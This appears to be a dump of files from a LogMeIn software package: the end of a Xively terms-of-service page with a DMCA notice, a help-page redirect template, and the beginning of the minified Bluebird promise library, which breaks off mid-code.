-.25in;line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>8.3  Public vs. Private Service Data.</span></b><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'> The Xively
service gives You the opportunity to (i) keep Your Xively Data private by
making it private; (ii) selectively share Your Xively Data by making it
private and granting certain individuals permission to access Your Xively Data
under the terms and conditions You choose; or (iii) share Your Xively Data with
others by making it public. You understand and agree that by setting the
privacy attribute of any Data Source to public, all Xively Data associated
with that Data Source, as well as Your Xively user ID, will be publicly discoverable
and accessible. You further understand and agree that by making Your Xively Data
public, You are waiving any copyright or related ownership rights that You
may have in such Xively Data, and thereafter such Xively Data may be publicly
licensed by others in accordance with the terms of Creative Commons CC0 1.0
Universal Public Domain Dedication (the CCO Terms) (</span><span lang=EN-US><a
href="http://creativecommons.org/publicdomain/zero/1.0/"><span
style='font-size:8.0pt;font-family:"Arial","sans-serif"'>http://creativecommons.org/publicdomain/zero/1.0/</span></a></span><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>). In the
event of a conflict between the CCO Terms and these Terms, these Terms will
govern. Any Xively</span><strong><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> </span></strong><span lang=EN-US
style='font-size:8.0pt;font-family:"Arial","sans-serif"'>Data sourced from a
Data Source that You have designated as private will not be shared with
others, unless explicitly permitted by You, using the Services API keys.</span></p>

<p class=MsoNormalCxSpMiddle style='margin-top:0in;margin-right:0in;margin-bottom:
0in;margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:
-.25in;line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>&nbsp;</span></b></p>

<p class=MsoNormalCxSpMiddle style='margin-top:0in;margin-right:0in;margin-bottom:
0in;margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:
-.25in;line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>&nbsp;</span></b></p>

<div style='border:none;border-bottom:solid windowtext 1.5pt;padding:0in 0in 1.0pt 0in'>

<p class=MsoNormal style='text-align:justify;border:none;padding:0in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Article
IX. Digital Millennium Copyright Act (DMCA)</span></b></p>

</div>

<p class=MsoNormal style='margin-bottom:0in;margin-bottom:.0001pt;text-align:
justify;line-height:normal'><span lang=EN style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>In accordance with the Digital Millennium Copyright Act
(DMCA), LMI has adopted and implemented the following notice-and-takedown
procedure for copyright owners whose copyrighted work(s) appear on the
Cubby.com and Xively.com websites without permission: </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><span lang=EN style='font-size:8.0pt;font-family:"Arial","sans-serif"'>&nbsp;</span></p>

<p class=MsoNormal style='margin-bottom:0in;margin-bottom:.0001pt;text-align:
justify;line-height:normal'><span lang=EN style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>LMI has designated an agent (DMCA Agent) to receive and
respond to proper written notifications from copyright owners who claim
inappropriate use of copyrighted materials on Cubby.com and Xively.com. Should
LMIs DMCA Agent receive such a notification in the manner set forth below
alleging copyright infringing activity on a Cubby or Xively account, LMI will
take whatever action it deems appropriate, in its sole discretion, including
removal of the offensive content, contacting the relevant Cubby or Xively
account holder, and/or terminating any Cubby or Xively account that is found to
repeatedly post infringing content. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.5in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><b><span
lang=EN style='font-size:8.0pt;font-family:"Arial","sans-serif"'>&nbsp;</span></b></p>

<p class=MsoNormal style='margin-bottom:7.5pt;text-indent:.5in;line-height:
11.25pt'><span lang=EN style='font-size:8.0pt;font-family:"Arial","sans-serif"'>DMCA
Agent address: </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.5in;margin-bottom:.0001pt;line-height:11.25pt'><span lang=EN
style='font-size:8.0pt;font-family:"Arial","sans-serif"'>DMCA Agent<br>
c/o General Counsel<br>
LogMeIn, Inc.<br>
320 Summer Street, Suite 100</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.5in;margin-bottom:.0001pt;line-height:11.25pt'><span lang=EN
style='font-size:8.0pt;font-family:"Arial","sans-serif"'>Boston MA 02210<br>
dmcareporting@logmein.com <br>
Fax: +1-781-998-2597</span></p>

<p class=MsoNormalCxSpMiddle style='margin-bottom:0in;margin-bottom:.0001pt;
text-align:justify;line-height:normal'><span lang=EN style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>&nbsp;</span></p>

<p class=MsoNormalCxSpMiddle style='margin-bottom:0in;margin-bottom:.0001pt;
text-align:justify;line-height:normal'><span lang=EN style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>All infringement notifications must be
submitted in writing to LMIs DMCA Agent at the postal address, fax and/or
email above listed, and must include the following: (1) identification of the
copyrighted work(s) claimed to be infringed; (2) identification of the material
or link allegedly hosting the infringing content; (3) the copyright owners
contact information (including mailing address, telephone number, and email
address); (4) the following statements: (i) I hereby state that I have a good
faith belief that the use of the copyrighted material is not authorized by the
copyright owner, its agent, or the law, and (ii) I hereby state that the
information in this Notice is accurate and, under penalty of perjury, that I am
the owner or am authorized to act on behalf of the owner of the copyright that
is allegedly infringed; and (5) the full name and electronic or physical
signature of the copyright owner or the copyright owners agent.</span></p>

<p class=MsoNormalCxSpMiddle style='margin-left:.25in !msorm;text-indent:-.25in !msorm;
margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>_________________________________________________________________________________________________________</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><span lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>Copyright &#169; 2003 - 2015 LogMeIn, Inc. All rights reserved.</span></p>

<p class=MsoNormal style='text-align:justify'><span lang=EN-US
style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Certain
Services may contain open source software. Please review </span><span
lang=EN-US><a
href="https://secure.logmein.com/policies/openSourceDisclosure.aspx"><span
style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>https://secure.logmein.com/policies/openSourceDisclosure.aspx</span></a></span><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>
for the required disclosures and disclaimers regarding such open source
software. Certain Services use code of </span><span lang=EN-US><a
href="http://ffmpeg.org"><span style='font-size:8.0pt;line-height:115%;
font-family:"Arial","sans-serif"'>http://ffmpeg.org</span></a></span><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>
licensed under the </span><span lang=EN-US><a
href="http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html"><span
style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html</span></a></span><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>
and its source can be downloaded </span><span lang=EN-US><a
href="http://ffmpeg.org"><span style='font-size:8.0pt;line-height:115%;
font-family:"Arial","sans-serif"'>http://ffmpeg.org</span></a></span><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>.</span></p>

<p class=MsoNormal style='text-align:justify'><span lang=EN-US
style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Certain
Services are provided under U.S. patent No. 7,310,736 and related patents.</span></p>

<p class=MsoNormal><span lang=EN-US style='font-size:8.0pt;line-height:115%;
font-family:"Arial","sans-serif"'>&nbsp;</span></p>

<p class=MsoNormal><span lang=EN-US>&nbsp;</span></p>

</div>

</body>

</html>
help.html<?ratmpl?>
<?
nocache

switch REQ.TYPE

case "license" // software license
set PDF = "license.html"

case "guide" // quick start guide
if BRAND.LOGMEIN.FREE
redirect RA.COM "/r.asp?r=gettingstartedguidepdf_free"
elseif BRAND.LOGMEIN.IT
redirect RA.COM "/r.asp?r=gettingstartedguidepdf_itr"
else
set PDF = "remotelyanywhere_gettingstarted.pdf"
endif

case default // software manual 
if BRAND.LOGMEIN.FREE
redirect RA.COM "/r.asp?r=manual_free"
elseif BRAND.LOGMEIN.IT
redirect RA.COM "/r.asp?r=manual_itr"
else
set PDF = "remotelyanywhere_guide.pdf"
endif

endswitch

set PDFLOCAL = "/help/" PDF

if exists PDFLOCAL
redirect PDFLOCAL
else
redirect RA.COM "/" PDF
endif
?>
a*hterm\bluebird.min.jsD+/* @preserve
* The MIT License (MIT)
* 
* Copyright (c) 2013-2015 Petka Antonov
* 
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* 
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
* 
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
* 
*/
/**
* bluebird build version 3.3.4
* Features enabled: core, race, call_get, generators, map, nodeify, promisify, props, reduce, settle, some, using, timers, filter, any, each
*/
!function(t){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var e;"undefined"!=typeof window?e=window:"undefined"!=typeof global?e=global:"undefined"!=typeof self&&(e=self),e.Promise=t()}}(function(){var t,e,n;return function r(t,e,n){function i(s,a){if(!e[s]){if(!t[s]){var c="function"==typeof _dereq_&&_dereq_;if(!a&&c)return c(s,!0);if(o)return o(s,!0);var l=new Error("Cannot find module '"+s+"'");throw l.code="MODULE_NOT_FOUND",l}var u=e[s]={exports:{}};t[s][0].call(u.exports,function(e){var n=t[s][1][e];return i(n?n:e)},u,u.exports,r,t,e,n)}return e[s].exports}for(var o="function"==typeof _dereq_&&_dereq_,s=0;s<n.length;s++)i(n[s]);return i}({1:[function(t,e,n){"use strict";e.exports=function(t){function e(t){var e=new n(t),r=e.promise();return e.setHowMany(1),e.setUnwrap(),e.init(),r}var n=t._SomePromiseArray;t.any=function(t){return e(t)},t.prototype.any=function(){return e(this)}}},{}],2:[function(t,e,n){"use strict";function r(){this._isTickUsed=!1,this._lateQueue=new u(16),this._normalQueue=new u(16),this._haveDrainedQueues=!1,this._trampolineEnabled=!0;var t=this;this.drainQueues=function(){t._drainQueues()},this._schedule=l}function i(t,e,n){this._lateQueue.push(t,e,n),this._queueTick()}function o(t,e,n){this._normalQueue.push(t,e,n),this._queueTick()}function s(t){this._normalQueue._pushOne(t),this._queueTick()}var a;try{throw new Error}catch(c){a=c}var l=t("./schedule"),u=t("./queue"),p=t("./util");r.prototype.enableTrampoline=function(){this._trampolineEnabled=!0},r.prototype.disableTrampolineIfNecessary=function(){p.hasDevTools&&(this._trampolineEnabled=!1)},r.prototype.haveItemsQueued=function(){return this._isTickUsed||this._haveDrainedQueues},r.prototype.fatalError=function(t,e){e?(process.stderr.write("Fatal "+(t instanceof Error?t.stack:t)+"\n"),process.exit(2)):this.throwLater(t)},r.prototype.throwLater=function(t,e){if(1===arguments.length&&(e=t,t=function(){throw e}),"undefined"!=typeof setTimeout)setTimeout(function(){t(e)},0);else try{this._schedule(function(){t(e)})}catch(n){throw new Error("No async scheduler available\n\n    See http://goo.gl/MqrFmX\n")}},p.hasDevTools?(r.prototype.invokeLater=function(t,e,n){this._trampolineEnabled?i.call(this,t,e,n):this._schedule(function(){setTimeout(function(){t.call(e,n)},100)})},r.prototype.invoke=function(t,e,n){this._trampolineEnabled?o.call(this,t,e,n):this._schedule(function(){t.call(e,n)})},r.prototype.settlePromises=function(t){this._trampolineEnabled?s.call(this,t):this._schedule(function(){t._settlePromises()})}):(r.prototype.invokeLater=i,r.prototype.invoke=o,r.prototype.settlePromises=s),r.prototype.invokeFirst=function(t,e,n){this._normalQueue.unshift(t,e,n),this._queueTick()},r.prototype._drainQueue=function(t){for(;t.length()>0;){var e=t.shift();if("function"==typeof e){var n=t.shift(),r=t.shift();e.call(n,r)}else e._settlePromises()}},r.prototype._drainQueues=function(){this._drainQueue(this._normalQueue),this._reset(),this._haveDrainedQueues=!0,this._drainQueue(this._lateQueue)},r.prototype._queueTick=function(){this._isTickUsed||(this._isTickUsed=!0,this._schedule(this.drainQueues))},r.prototype._reset=function(){this._isTickUsed=!1},e.exports=r,e.exports.firstLineError=a},{"./queue":26,"./schedule":29,"./util":36}],3:[function(t,e,n){"use strict";e.exports=function(t,e,n,r){var i=!1,o=function(t,e){this._reject(e)},s=function(t,e){e.promiseRejectionQueued=!0,e.bindingPromise._then(o,o,null,this,t)},a=function(t,e){0===(50397184&this._bitField)&&this._resolveCallback(e.target)},c=function(t,e){e.promiseRejectionQueued||this._reject(t)};t.prototype.bind=function(o){i||(i=!0,t.prototype._propagateFrom=r.propagateFromFunction(),t.prototype._boundValue=r.boundValueFunction());var l=n(o),u=new t(e);u._propagateFrom(this,1);var p=this._target();if(u._setBoundTo(l),l instanceof t){var h={promiseRejectionQueued:!1,promise:u,target:p,bindingPromise:l};p._then(e,s,void 0,u,h),l._then(a,c,void 0,u,h),u._setOnCancel(l)}else u._resolveCallback(p);return u},t.prototype._setBoundTo=function(t){void 0!==t?(this._bitField=2097152|this._bitField,this._boundTo=t):this._bitField=-2097153&this._bitField},t.prototype._isBound=function(){return 2097152===(2097152&this._bitField)},t.bind=function(e,n){return t.resolve(n).bind(e)}}},{}],4:[function(t,e,n){"use strict";function r(){try{Promise===o&&(Promise=i)}catch(t){}return o}var i;"undefined"!=typeof Promise&&(i=Promise);var o=t("./promise")();o.noConflict=r,e.exports=o},{"./promise":22}],5:[function(t,e,n){"use strict";var r=Object.create;if(r){var i=r(null),o=r(null);i[" size"]=o[" size"]=0}e.exports=function(e){function n(t,n){var r;if(null!=t&&(r=t[n]),"function"!=typeof r){var i="Object "+a.classString(t)+" has no method '"+a.toString(n)+"'";throw new e.TypeError(i)}return r}function r(t){var e=this.pop(),r=n(t,e);return r.apply(t,this)}function i(t){return t[this]}function o(t){var e=+this;return 0>e&&(e=Math.max(0,e+t.length)),t[e]}var s,a=t("./util"),c=a.canEvaluate;a.isIdentifier;e.prototype.call=function(t){var e=[].slice.call(arguments,1);return e.push(t),this._then(r,void 0,void 0,e,void 0)},e.prototype.get=function(t){var e,n="number"==typeof t;if(n)e=o;else if(c){var r=s(t);e=null!==r?r:i}else e=i;return this._then(e,void 0,void 0,t,void 0)}}},{"./util":36}],6:[function(t,e,n){"use strict";e.exports=function(e,n,r,i){var o=t("./util"),s=o.tryCatch,a=o.errorObj,c=e._async;e.prototype["break"]=e.prototype.cancel=function(){if(!i.cancellation())return this._warn("cancellation is disabled");for(var t=this,e=t;t.isCancellable();){if(!t._cancelBy(e)){e._isFollowing()?e._followee().cancel():e._cancelBranched();break}var n=t._cancellationParent;if(null==n||!n.isCancellable()){t._isFollowing()?t._followee().cancel():t._cancelBranched();break}t._isFollowing()&&t._followee().cancel(),e=t,t=n}},e.prototype._branchHasCancelled=function(){this._branchesRemainingToCancel--},e.prototype._enoughBranchesHaveCancelled=function(){return void 0===this._branchesRemainingToCancel||this._branchesRemainingToCancel<=0},e.prototype._cancelBy=function(t){return t===this?(this._branchesRemainingToCancel=0,this._invokeOnCancel(),!0):(this._branchHasCancelled(),this._enoughBranchesHaveCancelled()?(this._invokeOnCancel(),!0):!1)},e.prototype._cancelBranched=function(){this._enoughBranchesHaveCancelled()&&this._cancel()},e.prototype._cancel=function(){this.isCancellable()&&(this._setCancelled(),c.invoke(this._cancelPromises,this,void 0))},e.prototype._cancelPromises=function(){this._length()>0&&this._settlePromises()},e.prototype._unsetOnCancel=function(){this._onCancelField=void 0},e.prototype.isCancellable=function(){return this.isPending()&&!this.isCancelled()},e.prototype._doInvokeOnCancel=function(t,e){if(o.isArray(t))for(var n=0;n<t.length;++n)this._doInvokeOnCancel(t[n],e);else if(void 0!==t)if("function"==typeof t){if(!e){var r=s(t).call(this._boundValue());r===a&&(this._attachExtraTrace(r.e),c.throwLater(r.e))}}else t._resultCancelled(this)},e.prototype._invokeOnCancel=function(){var t=this._onCancel();this._unsetOnCancel(),c.invoke(this._doInvokeOnCancel,this,t)},e.prototype._invokeInternalOnCancel=function(){this.isCancellable()&&(this._doInvokeOnCancel(this._onCancel(),!0),this._unsetOnCancel())},e.prototype._resultCancelled=function(){this.cancel()}}},{"./util":36}],7:[function(t,e,n){"use strict";e.exports=function(e){function n(t,n,a){return function(c){var l=a._boundValue();t:for(var u=0;u<t.length;++u){var p=t[u];if(p===Error||null!=p&&p.prototype instanceof Error){if(c instanceof p)return o(n).call(l,c)}else if("function"==typeof p){var h=o(p).call(l,c);if(h===s)return h;if(h)return o(n).call(l,c)}else if(r.isObject(c)){for(var f=i(p),_=0;_<f.length;++_){var d=f[_];if(p[d]!=c[d])continue t}return o(n).call(l,c)}}return e}}var r=t("./util"),i=t("./es5").keys,o=r.tryCatch,s=r.errorObj;return n}},{"./es5":13,"./util":36}],8:[function(t,e,n){"use strict";e.exports=function(t){function e(){this._trace=new e.CapturedTrace(r())}function n(){return i?new e:void 0}function r(){var t=o.length-1;return t>=0?o[t]:void 0}var i=!1,o=[];return t.prototype._promiseCreated=function(){},t.prototype._pushContext=function(){},t.prototype._popContext=function(){return null},t._peekContext=t.prototype._peekContext=function(){},e.prototype._pushContext=function(){void 0!==this._trace&&(this._trace._promiseCreated=null,o.push(this._trace))},e.prototype._popContext=function(){if(void 0!==this._trace){var t=o.pop(),e=t._promiseCreated;return t._promiseCreated=null,e}return null},e.CapturedTrace=null,e.create=n,e.deactivateLongStackTraces=function(){},e.activateLongStackTraces=function(){var n=t.prototype._pushContext,o=t.prototype._popContext,s=t._peekContext,a=t.prototype._peekContext,c=t.prototype._promiseCreated;e.deactivateLongStackTraces=function(){t.prototype._pushContext=n,t.prototype._popContext=o,t._peekContext=s,t.prototype._peekContext=a,t.prototype._promiseCreated=c,i=!1},i=!0,t.prototype._pushContext=e.prototype._pushContext,t.prototype._popContext=e.prototype._popContext,t._peekContext=t.prototype._peekContext=r,t.prototype._promiseCreated=function(){var t=this._peekContext();t&&null==t._promiseCreated&&(t._promiseCreated=this)}},e}},{}],9:[function(t,e,n){"use strict";e.exports=function(e,n){function r(t,e){return{promise:e}}function i(){return!1}function o(t,e,n){var r=this;try{t(e,n,function(t){if("function"!=typeof t)throw new TypeError("onCancel must be a function, got: "+H.toString(t));r._attachCancellationCallback(t)})}catch(i){return i}}function s(t){if(!this.isCancellable())return this;var e=this._onCancel();void 0!==e?H.isArray(e)?e.push(t):this._setOnCancel([e,t]):this._setOnCancel(t)}function a(){return this._onCancelField}function c(t){this._onCancelField=t}function l(){this._cancellationParent=void 0,this._onCancelField=void 0}function u(t,e){if(0!==(1&e)){this._cancellationParent=t;var n=t._branchesRemainingToCancel;void 0===n&&(n=0),t._branchesRemainingToCancel=n+1}0!==(2&e)&&t._isBound()&&this._setBoundTo(t._boundTo)}function p(t,e){0!==(2&e)&&t._isBound()&&this._setBoundTo(t._boundTo)}function h(){var t=this._boundTo;return void 0!==t&&t instanceof e?t.isFulfilled()?t.value():void 0:t}function f(){this._trace=new O(this._peekContext())}function _(t,e){if(N(t)){var n=this._trace;if(void 0!==n&&e&&(n=n._parent),void 0!==n)n.attachExtraTrace(t);else if(!t.__stackCleaned__){var r=j(t);H.notEnumerableProp(t,"stack",r.message+"\n"+r.stack.join("\n")),H.notEnumerableProp(t,"__stackCleaned__",!0)}}}function d(t,e,n,r,i){if(void 0===t&&null!==e&&z){if(void 0!==i&&i._returnedNonUndefined())return;var o=r._bitField;if(0===(65535&o))return;n&&(n+=" ");var s="a promise was created in a "+n+"handler but was not returned from it";r._warn(s,!0,e)}}function v(t,e){var n=t+" is deprecated and will be removed in a future version.";return e&&(n+=" Use "+e+" instead."),y(n)}function y(t,n,r){if(rt.warnings){var i,o=new L(t);if(n)r._attachExtraTrace(o);else if(rt.longStackTraces&&(i=e._peekContext()))i.attachExtraTrace(o);else{var s=j(o);o.stack=s.message+"\n"+s.stack.join("\n")}Y("warning",o)||k(o,"",!0)}}function g(t,e){for(var n=0;n<e.length-1;++n)e[n].push("From previous event:"),e[n]=e[n].join("\n");return n<e.length&&(e[n]=e[n].join("\n")),t+"\n"+e.join("\n")}function m(t){for(var e=0;e<t.length;++e)(0===t[e].length||e+1<t.length&&t[e][0]===t[e+1][0])&&(t.splice(e,1),e--)}function b(t){for(var e=t[0],n=1;n<t.length;++n){for(var r=t[n],i=e.length-1,o=e[i],s=-1,a=r.length-1;a>=0;--a)if(r[a]===o){s=a;break}for(var a=s;a>=0;--a){var c=r[a];if(e[i]!==c)break;e.pop(),i--}e=r}}function w(t){for(var e=[],n=0;n<t.length;++n){var r=t[n],i="    (No stack trace)"===r||B.test(r),o=i&&tt(r);i&&!o&&(q&&" "!==r.charAt(0)&&(r="    "+r),e.push(r))}return e}function C(t){for(var e=t.stack.replace(/\s+$/g,"").split("\n"),n=0;n<e.length;++n){var r=e[n];if("    (No stack trace)"===r||B.test(r))break}return n>0&&(e=e.slice(n)),e}function j(t){var e=t.stack,n=t.toString();return e="string"==typeof e&&e.length>0?C(t):["    (No stack trace)"],{message:n,stack:w(e)}}function k(t,e,n){if("undefined"!=typeof console){var r;if(H.isObject(t)){var i=t.stack;r=e+M(i,t)}else r=e+String(t);"function"==typeof D?D(r,n):("function"==typeof console.log||"object"==typeof console.log)&&console.log(r)}}function E(t,e,n,r){var i=!1;try{"function"==typeof e&&(i=!0,"rejectionHandled"===t?e(r):e(n,r))}catch(o){I.throwLater(o)}"unhandledRejection"===t?Y(t,n,r)||i||k(n,"Unhandled rejection "):Y(t,r)}function F(t){var e;if("function"==typeof t)e="[function "+(t.name||"anonymous")+"]";else{e=t&&"function"==typeof t.toString?t.toString():H.toString(t);var n=/\[object [a-zA-Z0-9$_]+\]/;if(n.test(e))try{var r=JSON.stringify(t);e=r}catch(i){}0===e.length&&(e="(empty array)")}return"(<"+x(e)+">, no stack trace)"}function x(t){var e=41;return t.length<e?t:t.substr(0,e-3)+"..."}function T(){return"function"==typeof nt}function R(t){var e=t.match(et);return e?{fileName:e[1],line:parseInt(e[2],10)}:void 0}function P(t,e){if(T()){for(var n,r,i=t.stack.split("\n"),o=e.stack.split("\n"),s=-1,a=-1,c=0;c<i.length;++c){var l=R(i[c]);if(l){n=l.fileName,s=l.line;break}}for(var c=0;c<o.length;++c){var l=R(o[c]);if(l){r=l.fileName,a=l.line;break}}0>s||0>a||!n||!r||n!==r||s>=a||(tt=function(t){if(U.test(t))return!0;var e=R(t);return e&&e.fileName===n&&s<=e.line&&e.line<=a?!0:!1})}}function O(t){this._parent=t,this._promisesCreated=0;var e=this._length=1+(void 0===t?0:t._length);nt(this,O),e>32&&this.uncycle()}var S,A,D,V=e._getDomain,I=e._async,L=t("./errors").Warning,H=t("./util"),N=H.canAttachTrace,U=/[\\\/]bluebird[\\\/]js[\\\/](release|debug|instrumented)/,B=null,M=null,q=!1,Q=!(0==H.env("BLUEBIRD_DEBUG")||!H.env("BLUEBIRD_DEBUG")&&"development"!==H.env("NODE_ENV")),$=!(0==H.env("BLUEBIRD_WARNINGS")||!Q&&!H.env("BLUEBIRD_WARNINGS")),G=!(0==H.env("BLUEBIRD_LONG_STACK_TRACES")||!Q&&!H.env("BLUEBIRD_LONG_STACK_TRACES")),z=0!=H.env("BLUEBIRD_W_FORGOTTEN_RETURN")&&($||!!H.env("BLUEBIRD_W_FORGOTTEN_RETURN"));e.prototype.suppressUnhandledRejections=function(){var t=this._target();t._bitField=-1048577&t._bitField|524288},e.prototype._ensurePossibleRejectionHandled=function(){0===(524288&this._bitField)&&(this._setRejectionIsUnhandled(),I.invokeLater(this._notifyUnhandledRejection,this,void 0))},e.prototype._notifyUnhandledRejectionIsHandled=function(){E("rejectionHandled",S,void 0,this)},e.prototype._setReturnedNonUndefined=function(){this._bitField=268435456|this._bitField},e.prototype._returnedNonUndefined=function(){return 0!==(268435456&this._bitField)},e.prototype._notifyUnhandledRejection=function(){if(this._isRejectionUnhandled()){var t=this._settledValue();this._setUnhandledRejectionIsNotified(),E("unhandledRejection",A,t,this)}},e.prototype._setUnhandledRejectionIsNotified=function(){this._bitField=262144|this._bitField},e.prototype._unsetUnhandledRejectionIsNotified=function(){this._bitField=-262145&this._bitField},e.prototype._isUnhandledRejectionNotified=function(){return(262144&this._bitField)>0},e.prototype._setRejectionIsUnhandled=function(){this._bitField=1048576|this._bitField},e.prototype._unsetRejectionIsUnhandled=function(){this._bitField=-1048577&this._bitField,this._isUnhandledRejectionNotified()&&(this._unsetUnhandledRejectionIsNotified(),this._notifyUnhandledRejectionIsHandled())},e.prototype._isRejectionUnhandled=function(){return(1048576&this._bitField)>0},e.prototype._warn=function(t,e,n){return y(t,e,n||this)},e.onPossiblyUnhandledRejection=function(t){var e=V();A="function"==typeof t?null===e?t:e.bind(t):void 0},e.onUnhandledRejectionHandled=function(t){var e=V();S="function"==typeof t?null===e?t:e.bind(t):void 0};var X=function(){};e.longStackTraces=function(){if(I.haveItemsQueued()&&!rt.longStackTraces)throw new Error("cannot enable long stack traces after promises have been created\n\n    See http://goo.gl/MqrFmX\n");if(!rt.longStackTraces&&T()){var t=e.prototype._captureStackTrace,r=e.prototype._attachExtraTrace;rt.longStackTraces=!0,X=function(){if(I.haveItemsQueued()&&!rt.longStackTraces)throw new Error("cannot enable long stack traces after promises have been created\n\n    See http://goo.gl/MqrFmX\n");e.prototype._captureStackTrace=t,e.prototype._attachExtraTrace=r,n.deactivateLongStackTraces(),I.enableTrampoline(),rt.longStackTraces=!1},e.prototype._captureStackTrace=f,e.prototype._attachExtraTrace=_,n.activateLongStackTraces(),I.disableTrampolineIfNecessary()}},e.hasLongStackTraces=function(){return rt.longStackTraces&&T()};var W=function(){try{var t=document.createEvent("CustomEvent");return t.initCustomEvent("testingtheevent",!1,!0,{}),H.global.dispatchEvent(t),function(t,e){var n=document.createEvent("CustomEvent");return n.initCustomEvent(t.toLowerCase(),!1,!0,e),!H.global.dispatchEvent(n)}}catch(e){}return function(){return!1}}(),K=function(){return H.isNode?function(){return process.emit.apply(process,arguments)}:H.global?function(t){var e="on"+t.toLowerCase(),n=H.global[e];return n?(n.apply(H.global,[].slice.call(arguments,1)),!0):!1}:function(){return!1}}(),J={promiseCreated:r,promiseFulfilled:r,promiseRejected:r,promiseResolved:r,promiseCancelled:r,promiseChained:function(t,e,n){return{promise:e,child:n}},warning:function(t,e){return{warning:e}},unhandledRejection:function(t,e,n){return{reason:e,promise:n}},rejectionHandled:r},Y=function(t){var e=!1;try{e=K.apply(null,arguments)}catch(n){I.throwLater(n),e=!0}var r=!1;try{r=W(t,J[t].apply(null,arguments))}catch(n){I.throwLater(n),r=!0}return r||e};e.config=function(t){if(t=Object(t),"longStackTraces"in t&&(t.longStackTraces?e.longStackTraces():!t.longStackTraces&&e.hasLongStackTraces()&&X()),"warnings"in t){var n=t.warnings;rt.warnings=!!n,z=rt.warnings,H.isObject(n)&&"wForgottenReturn"in n&&(z=!!n.wForgottenReturn)}if("cancellation"in t&&t.cancellation&&!rt.cancellation){if(I.haveItemsQueued())throw new Error("cannot enable cancellation after promises are in use");e.prototype._clearCancellationData=l,e.prototype._propagateFrom=u,e.prototype._onCancel=a,e.prototype._setOnCancel=c,e.prototype._attachCancellationCallback=s,e.prototype._execute=o,Z=u,rt.cancellation=!0}"monitoring"in t&&(t.monitoring&&!rt.monitoring?(rt.monitoring=!0,e.prototype._fireEvent=Y):!t.monitoring&&rt.monitoring&&(rt.monitoring=!1,e.prototype._fireEvent=i))},e.prototype._fireEvent=i,e.prototype._execute=function(t,e,n){try{t(e,n)}catch(r){return r}},e.prototype._onCancel=function(){},e.prototype._setOnCancel=function(t){},e.prototype._attachCancellationCallback=function(t){},e.prototype._captureStackTrace=function(){},e.prototype._attachExtraTrace=function(){},e.prototype._clearCancellationData=function(){},e.prototype._propagateFrom=function(t,e){};var Z=p,tt=function(){return!1},et=/[\/<\(]([^:\/]+):(\d+):(?:\d+)\)?\s*$/;H.inherits(O,Error),n.CapturedTrace=O,O.prototype.uncycle=function(){var t=this._length;if(!(2>t)){for(var e=[],n={},r=0,i=this;void 0!==i;++r)e.push(i),i=i._parent;t=this._length=r;for(var r=t-1;r>=0;--r){var o=e[r].stack;void 0===n[o]&&(n[o]=r)}for(var r=0;t>r;++r){var s=e[r].stack,a=n[s];if(void 0!==a&&a!==r){a>0&&(e[a-1]._parent=void 0,e[a-1]._length=1),e[r]._parent=void 0,e[r]._length=1;var c=r>0?e[r-1]:this;t-1>a?(c._parent=e[a+1],c._parent.uncycle(),c._length=c._parent._length+1):(c._parent=void 